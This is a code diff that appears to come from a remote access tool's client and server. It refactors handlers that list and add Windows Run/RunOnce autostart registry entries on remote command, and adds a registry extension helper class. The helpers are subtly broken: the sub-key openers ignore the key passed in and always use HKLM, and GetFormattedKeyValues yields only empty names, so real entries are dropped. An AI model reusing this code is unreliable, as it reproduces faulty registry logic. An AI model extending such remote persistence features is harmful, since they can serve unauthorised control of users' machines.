diff --git a/Client/Client.csproj b/Client/Client.csproj index c4688429..0715d7ab 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -65,6 +65,7 @@ + diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index c866f0f5..f4c86fac 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -6,6 +6,7 @@ using Microsoft.Win32; using xClient.Core.Information; using xClient.Core.RemoteShell; +using xClient.Core.Extensions; namespace xClient.Core.Commands { @@ -56,100 +57,85 @@ public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems c try { Dictionary startupItems = new Dictionary(); + int i = 0; - using ( - var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", - false)) + using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { - foreach (var k in key.GetValueNames()) + foreach (string formattedKeyValue in key.GetFormattedKeyValues()) { - if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; - startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 0); + startupItems.Add(formattedKeyValue, i); } } } - using ( - var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", - false)) + i++; + using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { - foreach (var k in key.GetValueNames()) + foreach (string formattedKeyValue in key.GetFormattedKeyValues()) { - if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; - startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 1); + startupItems.Add(formattedKeyValue, i); } } } - using ( - var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false) - ) + i++; + using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { - foreach (var k in key.GetValueNames()) + foreach (string formattedKeyValue in key.GetFormattedKeyValues()) { - if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; - startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 2); + startupItems.Add(formattedKeyValue, i); } } } - using ( - var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", - false)) + i++; + using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { - foreach (var k in key.GetValueNames()) + foreach (string formattedKeyValue in key.GetFormattedKeyValues()) { - if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; - startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 3); + startupItems.Add(formattedKeyValue, i); } } } + i++; if (OSInfo.Bits == 64) { - using ( - var key = - Registry.LocalMachine.OpenSubKey( - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", - false)) + using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { - foreach (var k in key.GetValueNames()) + foreach (string formattedKeyValue in key.GetFormattedKeyValues()) { - if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; - startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 4); + startupItems.Add(formattedKeyValue, i); } } } - using ( - var key = - Registry.LocalMachine.OpenSubKey( - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", - false)) + i++; + using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { - foreach (var k in key.GetValueNames()) + foreach (string formattedKeyValue in key.GetFormattedKeyValues()) { - if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; - startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 5); + startupItems.Add(formattedKeyValue, i); } } } + i++; } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { - var files = - new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); + var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); + foreach (var file in files) { if (file.Name != "desktop.ini") - startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), 6); + startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), i); } } @@ -168,12 +154,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com switch (command.Type) { case 0: - using ( - var key = - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", - true)) + using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { - if (key == null) throw new Exception("Registry key does not exist"); + if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); @@ -181,12 +164,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com } break; case 1: - using ( - var key = - Registry.LocalMachine.OpenSubKey( - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true)) + using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { - if (key == null) throw new Exception("Registry key does not exist"); + if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); @@ -194,12 +174,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com } break; case 2: - using ( - var key = - Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", - true)) + using (var key = Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { - if (key == null) throw new Exception("Registry key does not exist"); + if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); @@ -207,12 +184,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com } break; case 3: - using ( - var key = - Registry.CurrentUser.OpenSubKey( - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true)) + using (var key = Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { - if (key == null) throw new Exception("Registry key does not exist"); + if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); @@ -223,12 +197,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com if (OSInfo.Bits != 64) throw new NotSupportedException("Only on 64-bit systems supported"); - using ( - var key = - Registry.LocalMachine.OpenSubKey( - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true)) + using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { - if (key == null) throw new Exception("Registry key does not exist"); + if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); @@ -239,12 +210,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com if (OSInfo.Bits != 64) throw new NotSupportedException("Only on 64-bit systems supported"); - using ( - var key = - Registry.LocalMachine.OpenSubKey( - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true)) + using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { - if (key == null) throw new Exception("Registry key does not exist"); + if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs new file mode 100644 index 00000000..9e9f48ed --- /dev/null +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -0,0 +1,105 @@ +using System.Collections.Generic; +using Microsoft.Win32; +using System.Linq; + +namespace xClient.Core.Extensions +{ + public static class RegistryKeyExtensions + { + /// + /// Determines if the registry key by the name provided is null or has the value of null. + /// + /// The name associated with the registry key. + /// The actual registry key. + /// The string value of the registry key determined by the key's name. + /// True if the provided name is null or empty, or the key is null; False if otherwise. + public static bool IsNameOrValueNull(this string keyName, RegistryKey key) + { + return (string.IsNullOrEmpty(keyName) || (key == null)); + } + + /// + /// Attempts to get the value of the key using the specified key name. This method assumes + /// correct input. + /// + /// The key of which we obtain the value of. + /// The name of the key. + /// Returns the value of the key using the specified key name. If unable to do so, + /// string.Empty will be returned instead. + public static string GetValueSafe(this RegistryKey key, string keyName) + { + // Before calling this, use something such as "IsNameOrValueNull" to make sure + // that the input used for this method is usable. The responsibility for this + // method is to take these valid parameters and try to get the value of them, + // allowing exceptions if any are generated. + try + { + return key.GetValue(keyName).ToString(); + } + catch + { + return string.Empty; + } + } + + /// + /// Attempts to obtain a readonly (non-writable) sub key from the key provided using the + /// specified name. Exceptions thrown will be caught and will only return a null key. + /// This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name) + { + try + { + return Registry.LocalMachine.OpenSubKey(name, false); + } + catch + { + return null; + } + } + + /// + /// Attempts to obtain a writable sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenWritableSubKey(this RegistryKey key, string name) + { + return Registry.LocalMachine.OpenSubKey(name, true); + } + + /// + /// Gets all of the value names associated with the registry key and returns + /// formatted strings of the filtered values. + /// + /// The registry key of which the values are obtained. + /// Yield returns formatted strings of the key and the key value. + public static IEnumerable GetFormattedKeyValues(this RegistryKey key) + { + if (key != null) + { + foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key))) + { + // Less-likely, but this will ensure no empty items if an exception was thrown + // when obtaining the value. + if (string.IsNullOrEmpty(k)) + { + yield return string.Format("{0}||{1}", k, key.GetValueSafe(k)); + } + } + } + else + { + yield break; + } + } + } +} \ No newline at end of file diff --git a/Server/Core/Commands/SystemHandler.cs b/Server/Core/Commands/SystemHandler.cs index be4ae5c7..a4da529c 100644 --- a/Server/Core/Commands/SystemHandler.cs +++ b/Server/Core/Commands/SystemHandler.cs @@ -116,7 +116,7 @@ public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoRespo public static void HandleGetStartupItemsResponse(Client client, GetStartupItemsResponse packet) { - if (client.Value.FrmStm == null) + if (client.Value.FrmStm == null || packet.StartupItems == null) return; foreach (var pair in packet.StartupItems)